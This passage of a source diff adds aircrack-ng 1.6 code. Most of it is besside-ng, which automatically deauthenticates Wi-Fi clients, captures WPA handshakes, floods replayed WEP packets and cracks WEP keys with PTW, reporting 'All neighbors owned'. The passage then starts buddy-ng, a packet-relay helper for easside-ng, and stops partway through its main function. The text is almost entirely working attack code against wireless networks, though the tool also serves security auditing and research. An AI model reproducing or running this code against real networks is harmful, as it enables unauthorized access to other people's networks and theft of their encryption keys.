+	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
+	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3));
+	memcpy(wh->i_addr3, BROADCAST, sizeof(wh->i_addr3));
+
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
+
+	time_printf(V_NORMAL,
+				"Got replayable packet for %s [len %d]\n",
+				n->n_ssid,
+				len - 4 - 4);
+
+	if (_state.s_state == STATE_ATTACK && _state.s_curnet == n
+		&& n->n_astate == ASTATE_WEP_PRGA_GET)
+		attack_continue(n);
+}
+
+static void
+check_replay(struct network * n, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
+		return;
+
+	if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS)) return;
+
+	if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return;
+
+	if (len != (int) (n->n_replay_len - sizeof(*wh))) return;
+
+	n->n_replay_got++;
+	memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last));
+
+	// ack clocked
+	do_flood(n);
+}
+
+static void
+do_wep_crack(struct cracker * c, struct network * n, int len, int limit)
+{
+	REQUIRE(c != NULL);
+	REQUIRE(n != NULL);
+
+	unsigned char key[PTW_KEYHSBYTES];
+	int(*all)[256];
+	int i, j;
+
+	all = xmalloc(256 * 32 * sizeof(int));
+
+	// initial setup (complete keyspace)
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++) all[i][j] = 1;
+	}
+
+	if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1)
+		return;
+
+	IGNORE_LTZ(write(c->cr_pipe[1], key, len));
+}
+
+static inline void crack_wep64(struct cracker * c, struct network * n)
+{
+	do_wep_crack(c, n, 5, KEYLIMIT / 10);
+}
+
+static inline void crack_wep128(struct cracker * c, struct network * n)
+{
+	do_wep_crack(c, n, 13, KEYLIMIT);
+}
+
+static void cracker_start(struct cracker * c, cracker_cb cb, struct network * n)
+{
+	REQUIRE(c != NULL);
+
+	if (pipe(c->cr_pipe) == -1) err(1, "pipe()");
+
+	c->cr_pid = fork();
+	if (c->cr_pid == -1) err(1, "fork()");
+
+	if (c->cr_pid)
+	{
+		/* parent */
+		close(c->cr_pipe[1]);
+	}
+	else
+	{
+		/* child */
+		close(c->cr_pipe[0]);
+		cb(c, n);
+		exit(EXIT_SUCCESS);
+	}
+}
+
+static void wep_crack_start(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	cracker_kill(&n->n_cracker_wep[0]);
+	cracker_kill(&n->n_cracker_wep[1]);
+
+	cracker_start(&n->n_cracker_wep[0], crack_wep64, n);
+	cracker_start(&n->n_cracker_wep[1], crack_wep128, n);
+}
+
+static void wep_crack(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
+	{
+		n->n_crack_next = n->n_data_count + 1;
+		return;
+	}
+
+	wep_crack_start(n);
+
+	n->n_crack_next += _conf.cf_crack_int;
+}
+
+static int ptw_add(struct network * n,
+				   struct ieee80211_frame * wh,
+				   unsigned char * body,
+				   int len)
+{
+	unsigned char clear[2048];
+	int dlen = len - 4 - 4;
+	int clearsize;
+	int i, weight[16], k, j;
+	int rc = 0;
+
+	k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
+	if (clearsize < 16) return (rc);
+
+	for (j = 0; j < k; j++)
+	{
+		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
+	}
+
+	if (!n->n_ptw)
+	{
+		n->n_ptw = PTW_newattackstate();
+		if (!n->n_ptw) err(1, "PTW_newattackstate()");
+	}
+
+	if (PTW_addsession(n->n_ptw, body, clear, weight, k))
+	{
+		speed_add(&n->n_flood_in);
+		n->n_data_count++;
+		rc = 1;
+	}
+
+	if (n->n_data_count == n->n_crack_next) wep_crack(n);
+
+	return (rc);
+}
+
+static void ptw_free(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (n->n_ptw)
+	{
+		PTW_freeattackstate(n->n_ptw);
+		n->n_ptw = NULL;
+	}
+}
+
+static void wifi_data(struct network * n, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char * p = (unsigned char *) (wh + 1);
+	struct llc * llc;
+	int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
+	int eapol = 0;
+	struct client * c;
+	int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+	int orig = len;
+
+	len -= sizeof(*wh);
+
+	if (stype == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		p += 2;
+		len -= 2;
+	}
+
+	if (!wep && len >= 8)
+	{
+		llc = (struct llc *) p;
+
+		eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;
+
+		p += 8;
+		len -= 8;
+	}
+
+	if (!wep && !eapol) return;
+
+	if (!n->n_have_beacon)
+	{
+		n->n_chan = _state.s_chan;
+		n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP;
+
+		/* XXX */
+		if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA;
+	}
+
+	if (eapol)
+	{
+		c = client_get(n, wh);
+
+		/* c can be null if using our MAC (e.g., VAPs) */
+		if (c) process_eapol(n, c, p, len, wh, orig);
+		return;
+	}
+
+	if (n->n_crypto != CRYPTO_WEP)
+	{
+		ptw_free(n);
+		return;
+	}
+
+	if (len < (4 + 4)) return;
+
+	if (n->n_astate == ASTATE_DONE) return;
+
+	get_replayable(n, wh, p, len);
+
+	check_replay(n, wh, len);
+
+	if (ptw_add(n, wh, p, len))
+	{
+		if (n->n_have_beacon && !n->n_beacon_wrote)
+		{
+			packet_write_pcap(_state.s_wepfd, &n->n_beacon);
+
+			n->n_beacon_wrote = 1;
+		}
+
+		write_pcap(_state.s_wepfd, wh, orig);
+	}
+}
+
+static struct network * network_update(struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	struct network * n;
+	struct client * c = NULL;
+	unsigned char * bssid;
+	int fromnet;
+
+	bssid = get_bssid(wh);
+	if (!bssid) return (NULL);
+
+	n = network_get(wh);
+	if (!n) n = network_add(wh);
+
+	ALLEGE(n != NULL);
+
+	if ((fromnet = (memcmp(wh->i_addr2, bssid, sizeof(wh->i_addr2)) == 0)))
+		n->n_dbm = _state.s_ri->ri_power;
+
+	c = client_update(n, wh);
+	if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power;
+
+	return (n);
+}
+
+static void wifi_read(void)
+{
+	struct state * s = &_state;
+	unsigned char buf[2048];
+	int rd;
+	struct rx_info ri;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	struct network * n;
+
+	memset(buf, 0, sizeof(buf));
+
+	rd = wi_read(s->s_wi, NULL, NULL, buf, sizeof(buf), &ri);
+	if (rd < 0) err(1, "wi_read()");
+
+	if (rd < (int) sizeof(struct ieee80211_frame))
+	{
+		return;
+	}
+
+	s->s_ri = &ri;
+
+	n = network_update(wh);
+
+	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
+	{
+		case IEEE80211_FC0_TYPE_MGT:
+			wifi_mgt(n, wh, rd);
+			break;
+
+		case IEEE80211_FC0_TYPE_CTL:
+			wifi_ctl(wh, rd);
+			break;
+
+		case IEEE80211_FC0_TYPE_DATA:
+			wifi_data(n, wh, rd);
+			break;
+
+		default:
+			printf("Unknown type %d\n", wh->i_fc[0]);
+	}
+}
+
+static const char * astate2str(int astate)
+{
+	static char num[16];
+	static const char * states[] = {"NONE",
+									"PING",
+									"READY",
+									"DEAUTH",
+									"WPA_CRACK",
+									"GET REPLAY",
+									"FLOOD",
+									"NONE",
+									"DONE"};
+
+	if (astate >= (int) ArrayCount(states))
+	{
+		snprintf(num, sizeof(num), "%d", astate);
+		return (num);
+	}
+
+	return (states[astate]);
+}
+
+static const char * wstate2str(int astate)
+{
+	static char num[16];
+	static const char * states[] = {"NONE", "AUTH", "ASSOC"};
+
+	if (astate >= (int) ArrayCount(states))
+	{
+		snprintf(num, sizeof(num), "%d", astate);
+		return (num);
+	}
+
+	return (states[astate]);
+}
+
+static void print_status(int advance)
+{
+	static const char status[] = "|/-|/-\\";
+	static const char * statusp = status;
+	struct network * n = _state.s_curnet;
+	struct client * c;
+	int ccount = 0;
+
+	time_printf(V_NORMAL, "%c", *statusp);
+
+	switch (_state.s_state)
+	{
+		case STATE_SCAN:
+			printf(" Scanning chan %.2d", _state.s_chan);
+			break;
+
+		case STATE_ATTACK:
+			printf(" Attacking [%s] %s - %s",
+				   n->n_ssid,
+				   n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP",
+				   astate2str(n->n_astate));
+
+			if (need_connect(n) && n->n_wstate != WSTATE_ASSOC)
+				printf(" [conn: %s]", wstate2str(n->n_wstate));
+
+			switch (n->n_astate)
+			{
+				case ASTATE_WEP_FLOOD:
+					if (n->n_cracker_wep[0].cr_pid
+						|| n->n_cracker_wep[1].cr_pid)
+						printf(" cracking");
+
+					speed_calculate(&n->n_flood_in);
+					speed_calculate(&n->n_flood_out);
+
+					printf(" - %d IVs rate %u [%u PPS out] len %d",
+						   n->n_data_count,
+						   n->n_flood_in.s_speed,
+						   n->n_flood_out.s_speed,
+						   (int) (n->n_replay_len
+								  - sizeof(struct ieee80211_frame)
+								  - 4
+								  - 4));
+					break;
+
+				case ASTATE_DEAUTH:
+					c = n->n_clients.c_next;
+					while (c)
+					{
+						ccount++;
+
+						c = c->c_next;
+					}
+
+					if (ccount) printf(" (know %d clients)", ccount);
+					break;
+			}
+
+			break;
+	}
+
+	printf("\r");
+	fflush(stdout);
+
+	if (advance) statusp++;
+
+	if (statusp >= (&status[sizeof(status) - 1])) statusp = status;
+}
+
+static void make_progress(void)
+{
+	if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2)
+	{
+		print_work();
+		attack_next();
+		_state.s_hopcycles = 0;
+	}
+}
+
+static void cracker_check(struct network * n, struct cracker * c)
+{
+	REQUIRE(c != NULL);
+
+	unsigned char buf[1024];
+	int rc;
+
+	rc = read(c->cr_pipe[0], buf, sizeof(buf));
+	if (rc <= 0)
+	{
+		cracker_kill(c);
+		return;
+	}
+
+	ALLEGE(rc <= (int) sizeof(n->n_key));
+
+	memcpy(n->n_key, buf, rc);
+	n->n_key_len = rc;
+
+	time_printf(V_NORMAL, "Got key for %s [", n->n_ssid);
+	print_hex(n->n_key, n->n_key_len);
+	printf("] %d IVs\n", n->n_data_count);
+
+	cracker_kill(&n->n_cracker_wep[0]);
+	cracker_kill(&n->n_cracker_wep[1]);
+
+	n->n_astate = ASTATE_DONE;
+	ptw_free(n);
+	attack_continue(n);
+}
+
+static int add_cracker_fds(fd_set * fds, int max)
+{
+	struct network * n;
+	int i;
+
+	if (_state.s_state != STATE_ATTACK) return (max);
+
+	n = _state.s_curnet;
+
+	for (i = 0; i < 2; i++)
+	{
+		struct cracker * c = &n->n_cracker_wep[i];
+
+		if (c->cr_pipe[0])
+		{
+			FD_SET(c->cr_pipe[0], fds);
+
+			if (c->cr_pipe[0] > max) max = c->cr_pipe[0];
+		}
+	}
+
+	return (max);
+}
+
+static void check_cracker_fds(fd_set * fds)
+{
+	struct network * n;
+	struct cracker * c;
+	int i;
+
+	if (_state.s_state != STATE_ATTACK) return;
+
+	n = _state.s_curnet;
+
+	for (i = 0; i < 2; i++)
+	{
+		c = &n->n_cracker_wep[i];
+
+		if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c);
+	}
+}
+
+static inline char * strip_spaces(char * p)
+{
+	REQUIRE(p != NULL);
+
+	char * x;
+
+	while (*p == ' ') p++;
+
+	x = p + strlen(p) - 1;
+	while (x >= p && *x == ' ') *x-- = 0;
+
+	return (p);
+}
+
+static int parse_hex(unsigned char * out, char * in, int l)
+{
+	REQUIRE(out != NULL);
+
+	int len = 0;
+
+	while (in)
+	{
+		char * p = strchr(in, ':');
+		int x;
+
+		if (--l < 0) err(1, "parse_hex len");
+
+		if (p) *p++ = 0;
+
+		if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()");
+
+		*out++ = (unsigned char) x;
+		len++;
+
+		in = p;
+	}
+
+	return (len);
+}
+
+static void resume_network(char * buf)
+{
+	REQUIRE(buf != NULL);
+
+	char *p = buf, *p2;
+	int state = 0;
+	struct network * n;
+
+	if (buf[0] == '#') return;
+
+	n = network_new();
+
+	while (1)
+	{
+		p2 = strchr(p, '|');
+
+		if (!p2)
+		{
+			p2 = strchr(p, '\n');
+			if (!p2) break;
+		}
+
+		*p2++ = 0;
+
+		p = strip_spaces(p);
+
+		switch (state)
+		{
+			/* ssid */
+			case 0:
+				strncpy(n->n_ssid, p, sizeof(n->n_ssid));
+				(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
+				break;
+
+			/* key */
+			case 1:
+				if (strstr(p, "handshake"))
+				{
+					n->n_crypto = CRYPTO_WPA;
+					n->n_client_handshake = (void *) 0xbad;
+				}
+				else if (strchr(p, ':'))
+				{
+					n->n_crypto = CRYPTO_WEP;
+
+					n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key));
+				}
+
+				if (n->n_crypto != CRYPTO_NONE)
+				{
+					n->n_have_beacon = 1;
+					n->n_astate = ASTATE_DONE;
+				}
+				break;
+
+			/* bssid */
+			case 2:
+				parse_hex(n->n_bssid, p, sizeof(n->n_bssid));
+				break;
+
+			case 3:
+				if (*p)
+				{
+					struct client * c = xmalloc(sizeof(*c));
+
+					memset(c, 0, sizeof(*c));
+
+					parse_hex(c->c_mac, p, sizeof(c->c_mac));
+
+					n->n_client_mac = c;
+					n->n_got_mac = 1;
+				}
+				break;
+		}
+
+		state++;
+		p = p2;
+	}
+
+	if (n->n_astate != ASTATE_DONE)
+	{
+		free(n);
+		return;
+	}
+
+	do_network_add(n);
+
+	network_print(n);
+}
+
+static void resume(void)
+{
+	FILE * f;
+	char buf[4096];
+
+	f = fopen(_conf.cf_log, "r");
+	if (!f) return;
+
+	time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log);
+
+	while (fgets(buf, sizeof(buf), f)) resume_network(buf);
+
+	fclose(f);
+}
+
+static void cleanup(int UNUSED(x))
+{
+	struct state * s = &_state;
+	struct network * n;
+
+	printf("\nDying...\n");
+
+	wi_close(s->s_wi);
+
+	if (_state.s_state == STATE_ATTACK)
+	{
+		n = _state.s_curnet;
+		ALLEGE(n);
+		cracker_kill(&n->n_cracker_wep[0]);
+		cracker_kill(&n->n_cracker_wep[1]);
+	}
+
+	if (_state.s_wpafd) close(_state.s_wpafd);
+
+	if (_state.s_wepfd) close(_state.s_wepfd);
+
+	print_work();
+
+	exit(EXIT_SUCCESS);
+}
+
+static void pwn(void)
+{
+	struct state * s = &_state;
+	struct timeval tv;
+	fd_set fds;
+	int wifd, max, rc;
+
+	if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()");
+
+	if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()");
+
+	gettimeofday(&_state.s_now, NULL);
+	memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start));
+
+	wifd = wi_fd(s->s_wi);
+	max = wifd;
+
+	char * mac = mac2string(_state.s_mac);
+	ALLEGE(mac != NULL);
+	time_printf(V_VERBOSE, "mac %s\n", mac);
+	free(mac);
+	time_printf(V_NORMAL, "Let's ride\n");
+
+	if (wi_set_channel(s->s_wi, _state.s_chan) == -1)
+		err(1, "wi_set_channel()");
+
+	resume();
+
+	_state.s_wpafd = open_pcap(_conf.cf_wpa);
+	_state.s_wepfd = open_pcap(_conf.cf_wep);
+
+	save_log();
+	time_printf(V_NORMAL, "Logging to %s\n", _conf.cf_log);
+
+	scan_start();
+
+	while (s->s_state != STATE_DONE)
+	{
+		timer_next(&tv);
+
+		FD_ZERO(&fds);
+		FD_SET(wifd, &fds);
+
+		max = add_cracker_fds(&fds, max);
+
+		if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1
+			&& errno != EINTR)
+			err(1, "select()");
+
+		gettimeofday(&_state.s_now, NULL);
+
+		check_cracker_fds(&fds);
+
+		print_status(FD_ISSET(wifd, &fds));
+
+		if (FD_ISSET(wifd, &fds)) wifi_read();
+
+		timer_check();
+
+		make_progress();
+	}
+
+	time_printf(V_NORMAL, "All neighbors owned\n");
+
+	cleanup(EXIT_SUCCESS);
+}
+
+static void channel_add(int num)
+{
+	struct channel * c = xmalloc(sizeof(*c));
+	struct channel * pos = _conf.cf_channels.c_next;
+
+	while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next;
+
+	memset(c, 0, sizeof(*c));
+
+	pos->c_next = c;
+
+	c->c_num = num;
+	c->c_next = _conf.cf_channels.c_next;
+}
+
+static void init_conf(void)
+{
+	int i;
+
+	_conf.cf_channels.c_next = &_conf.cf_channels;
+
+	for (i = 1; i <= 11; i++) channel_add(i);
+
+	_state.s_hopchan = _conf.cf_channels.c_next;
+
+	_conf.cf_hopfreq = 250;
+	_conf.cf_deauthfreq = 2500;
+	_conf.cf_attackwait = 10;
+	_conf.cf_floodwait = 60;
+	_conf.cf_to = 100;
+	_conf.cf_floodfreq = 10 * 1000;
+	_conf.cf_crack_int = 5000;
+	_conf.cf_wpa = "wpa.cap";
+	_conf.cf_wep = "wep.cap";
+	_conf.cf_log = "besside.log";
+	_conf.cf_do_wep = 1;
+	_conf.cf_do_wpa = 1;
+}
+
+static const char * timer_cb2str(timer_cb cb)
+{
+	if (cb == hop)
+		return ("hop");
+	else if (cb == attack_watchdog)
+		return ("attack_watchdog");
+	else if (cb == deauth)
+		return ("deauth");
+	else
+		return ("UNKNOWN");
+}
+
+static void print_state_network(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	struct client * c = n->n_clients.c_next;
+
+	char * mac_bssid = mac2string(n->n_bssid);
+	ALLEGE(mac_bssid != NULL);
+	printf("Network: [%s] chan %d bssid %s astate %d dbm %d"
+		   " have_beacon %d crypto %d",
+		   n->n_ssid,
+		   n->n_chan,
+		   mac_bssid,
+		   n->n_astate,
+		   n->n_dbm,
+		   n->n_have_beacon,
+		   n->n_crypto);
+	free(mac_bssid);
+
+	if (n->n_key_len)
+	{
+		printf(" KEY [");
+		print_hex(n->n_key, n->n_key_len);
+		printf("]");
+	}
+
+	printf("\n");
+
+	while (c)
+	{
+		char * mac = mac2string(c->c_mac);
+		ALLEGE(mac != NULL);
+		printf("\tClient: %s wpa_got %d dbm %d\n", mac, c->c_wpa_got, c->c_dbm);
+		free(mac);
+
+		c = c->c_next;
+	}
+}
+
+static void print_state(int UNUSED(x))
+{
+	struct state * s = &_state;
+	struct network * n = s->s_curnet;
+	struct channel * c = s->s_hopchan;
+	struct channel * c2 = c;
+	struct timer * t = s->s_timers.t_next;
+
+	printf("\n=============== Internal state ============\n");
+	printf("State:\t%d\n", s->s_state);
+
+	if (s->s_state == STATE_ATTACK)
+	{
+		char * mac = mac2string(n->n_bssid);
+		ALLEGE(mac != NULL);
+		printf("Current attack network: [%s] %s\n", n->n_ssid, mac);
+		free(mac);
+	}
+
+	n = _state.s_networks.n_next;
+	while (n)
+	{
+		print_state_network(n);
+		n = n->n_next;
+	}
+
+	printf("Current chan: %d\n", s->s_chan);
+	printf("Hop cycle %u chans:", s->s_hopcycles);
+	do
+	{
+		printf(" %d", c->c_num);
+		c = c->c_next;
+
+		if (c != c2) printf(",");
+
+	} while (c != c2);
+	printf("\n");
+
+	printf(
+#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
+		"Now: %lu.%lu\n",
+#else
+		"Now: %lu.%d\n",
+#endif
+		s->s_now.tv_sec,
+		s->s_now.tv_usec);
+
+	while (t)
+	{
+		printf(
+#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
+			"Timer: %lu.%lu %p[%s](%p)\n",
+#else
+			"Timer: %lu.%d %p[%s](%p)\n",
+#endif
+			t->t_tv.tv_sec,
+			t->t_tv.tv_usec,
+			t->t_cb,
+			timer_cb2str(t->t_cb),
+			t->t_arg);
+
+		t = t->t_next;
+	}
+
+	print_work();
+
+	printf("===========================================\n");
+}
+
+static void usage(char * prog)
+{
+	char * version_info
+		= getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n"
+		   "  %s - (C) 2010 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: %s [options] <interface>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -b <victim mac> : Victim BSSID\n"
+#ifdef HAVE_PCRE
+		   "       -R <victim ap regex> : Victim ESSID regex\n"
+#endif
+		   "       -s <WPA server> : Upload wpa.cap for cracking\n"
+		   "       -c       <chan> : chanlock\n"
+		   "       -p       <pps>  : flood rate\n"
+		   "       -W              : WPA only\n"
+		   "       -v              : verbose, -vv for more, etc.\n"
+		   "       -h              : This help screen\n"
+		   "\n",
+		   version_info,
+		   prog);
+	free(version_info);
+	exit(EXIT_FAILURE);
+}
+
+int main(int argc, char * argv[])
+{
+	int ch, temp;
+#ifdef HAVE_PCRE
+	const char * pcreerror;
+	int pcreerroffset;
+#endif
+
+	init_conf();
+
+	while ((ch = getopt(argc, argv, "hb:vWs:c:p:R:")) != -1)
+	{
+		switch (ch)
+		{
+			case 's':
+				_conf.cf_wpa_server = optarg;
+				break;
+
+			case 'W':
+				_conf.cf_do_wep = 0;
+				break;
+
+			case 'p':
+				temp = atoi(optarg);
+				if (temp <= 0)
+				{
+					printf("Invalid flood rate value, must be > 0");
+					exit(EXIT_FAILURE);
+				}
+				_conf.cf_floodfreq
+					= (int) (1.0 / (double) temp * 1000.0 * 1000.0);
+				break;
+
+			case 'c':
+				// XXX leak
+				_conf.cf_channels.c_next = &_conf.cf_channels;
+				temp = atoi(optarg);
+				if (temp <= 0)
+				{
+					printf("Invalid channel, must be > 0\n");
+					exit(EXIT_FAILURE);
+				}
+				channel_add(temp);
+				_state.s_hopchan = _conf.cf_channels.c_next;
+				break;
+
+			case 'v':
+				_conf.cf_verb++;
+				break;
+
+			case 'b':
+				_conf.cf_bssid = xmalloc(6);
+				parse_hex(_conf.cf_bssid, optarg, 6);
+				break;
+
+#ifdef HAVE_PCRE
+			case 'R':
+				if (_conf.cf_essid_regex != NULL)
+				{
+					printf("Error: ESSID regular expression already given. "
+						   "Aborting\n");
+					exit(EXIT_FAILURE);
+				}
+
+				_conf.cf_essid_regex
+					= pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
+
+				if (_conf.cf_essid_regex == NULL)
+				{
+					printf("Error: regular expression compilation failed at "
+						   "offset %d: %s; aborting\n",
+						   pcreerroffset,
+						   pcreerror);
+					exit(EXIT_FAILURE);
+				}
+				break;
+#endif
+
+			default:
+			case 'h':
+				usage(argv[0]);
+				break;
+		}
+	}
+
+	if (optind <= argc) _conf.cf_ifname = argv[optind];
+
+	if (!_conf.cf_ifname)
+	{
+		printf("Gimme an interface name dude\n");
+		usage(argv[0]);
+	}
+
+	signal(SIGINT, cleanup);
+	signal(SIGKILL, cleanup);
+	signal(SIGUSR1, print_state);
+	signal(SIGCHLD, do_wait);
+
+	pwn();
+
+#ifdef HAVE_PCRE
+	if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex);
+#endif
+
+	exit(EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/buddy-ng Added

aircrack-ng-1.6.tar.gz/src/buddy-ng/buddy-ng.c Added

@@ -0,0 +1,291 @@
+/*
+  *  Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/param.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <err.h>
+#include <unistd.h>
+#include <string.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <netinet/udp.h>
+#include <assert.h>
+#include <grp.h>
+#include <sys/utsname.h>
+
+#ifdef __NetBSD__
+#include <sys/select.h>
+#endif
+
+#include "aircrack-ng/defs.h"
+#include "easside.h"
+#include "aircrack-ng/version.h"
+
+static unsigned char ids[8192];
+static unsigned short last_id;
+static int wrap;
+
+static int is_dup(unsigned short id)
+{
+	int idx = id / 8;
+	int bit = id % 8;
+	unsigned char mask = (1 << bit);
+
+	if (ids[idx] & mask) return (1);
+
+	ids[idx] |= mask;
+	return (0);
+}
+
+static int
+handle(int s, unsigned char * data, int len, struct sockaddr_in * s_in)
+{
+	REQUIRE(data != NULL);
+	REQUIRE(s_in != NULL);
+
+	char buf[2048];
+	unsigned short * cmd = (unsigned short *) buf;
+	int plen;
+	struct in_addr * addr = &s_in->sin_addr;
+	unsigned short * pid = (unsigned short *) data;
+
+	/* inet check */
+	if (len == S_HELLO_LEN && memcmp(data, "sorbo", 5) == 0)
+	{
+		unsigned short * id = (unsigned short *) (data + 5);
+		int x = 2 + 4 + 2;
+
+		*cmd = htons(S_CMD_INET_CHECK);
+		memcpy(cmd + 1, addr, 4);
+		memcpy(cmd + 1 + 2, id, 2);
+
+		printf("Inet check by %s %d\n", inet_ntoa(*addr), ntohs(*id));
+		if (send(s, buf, x, 0) != x) return (1);
+
+		return (0);
+	}
+
+	*cmd++ = htons(S_CMD_PACKET);
+	*cmd++ = *pid;
+	plen = len - 2;
+	if (plen < 0) return (0);
+
+	last_id = ntohs(*pid);
+	if (last_id > 20000) wrap = 1;
+	if (wrap && last_id < 100)
+	{
+		wrap = 0;
+		memset(ids, 0, sizeof(ids));
+	}
+
+	printf("Got packet %d %d", last_id, plen);
+	if (is_dup(last_id))
+	{
+		printf(" (DUP)\n");
+		return (0);
+	}
+	printf("\n");
+
+	*cmd++ = htons(plen);
+	memcpy(cmd, data + 2, plen);
+
+	plen += 2 + 2 + 2;
+	ALLEGE(plen <= (int) sizeof(buf));
+	if (send(s, buf, plen, 0) != plen) return (1);
+
+	return (0);
+}
+
+static void handle_dude(int dude, int udp)
+{
+	unsigned char buf[2048];
+	int rc;
+	fd_set rfds;
+	int maxfd;
+	struct sockaddr_in s_in;
+	socklen_t len;
+
+	/* handshake */
+	rc = recv(dude, buf, 5, 0);
+	if (rc != 5)
+	{
+		close(dude);
+		return;
+	}
+
+	if (memcmp(buf, "sorbo", 5) != 0)
+	{
+		close(dude);
+		return;
+	}
+
+	if (send(dude, "sorbox", 6, 0) != 6)
+	{
+		close(dude);
+		return;
+	}
+
+	printf("Handshake complete\n");
+	memset(ids, 0, sizeof(ids));
+	last_id = 0;
+	wrap = 0;
+
+	while (1)
+	{
+		FD_ZERO(&rfds);
+		FD_SET(udp, &rfds);
+		FD_SET(dude, &rfds);
+
+		if (dude > udp)
+			maxfd = dude;
+		else
+			maxfd = udp;
+
+		if (select(maxfd + 1, &rfds, NULL, NULL, NULL) == -1)
+			err(1, "select()");
+
+		if (FD_ISSET(dude, &rfds)) break;
+
+		if (!FD_ISSET(udp, &rfds)) continue;
+
+		len = sizeof(s_in);
+		rc = recvfrom(
+			udp, buf, sizeof(buf), 0, (struct sockaddr *) &s_in, &len);
+		if (rc == -1) err(1, "read()");
+
+		if (handle(dude, buf, rc, &s_in)) break;
+	}
+	close(dude);
+}
+
+static void drop_privs(void)
+{
+	if (chroot(".") == -1) err(1, "chroot()");
+
+	if (setgroups(0, NULL) == -1) err(1, "setgroups()");
+
+	if (setgid(69) == -1) err(1, "setgid()");
+
+	if (setuid(69) == -1) err(1, "setuid()");
+}
+
+static void usage(void)
+{
+	char * version_info
+		= getVersion("Buddy-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n"
+		   "  %s - (C) 2007,2008 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: buddy-ng <options>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -h        : This help screen\n"
+		   "       -p        : Don't drop privileges\n"
+		   "\n",
+		   version_info);
+	free(version_info);
+
+	exit(EXIT_FAILURE);
+}
+
+int main(int argc, char * argv[])
+{
+	struct utsname utsName;
+	struct sockaddr_in s_in;
+	struct sockaddr_in dude_sin;
+	int len, udp, ch, dude, s;
+	int port = S_DEFAULT_PORT;
+	int drop;
+
+	while ((ch = getopt(argc, argv, "ph")) != -1)
+	{
+		switch (ch)
+		{
+			case 'p':
+				drop = 0;
+				break;
+
+			default:
+			case 'h':
+				usage();
+				break;
+		}
+	}
+
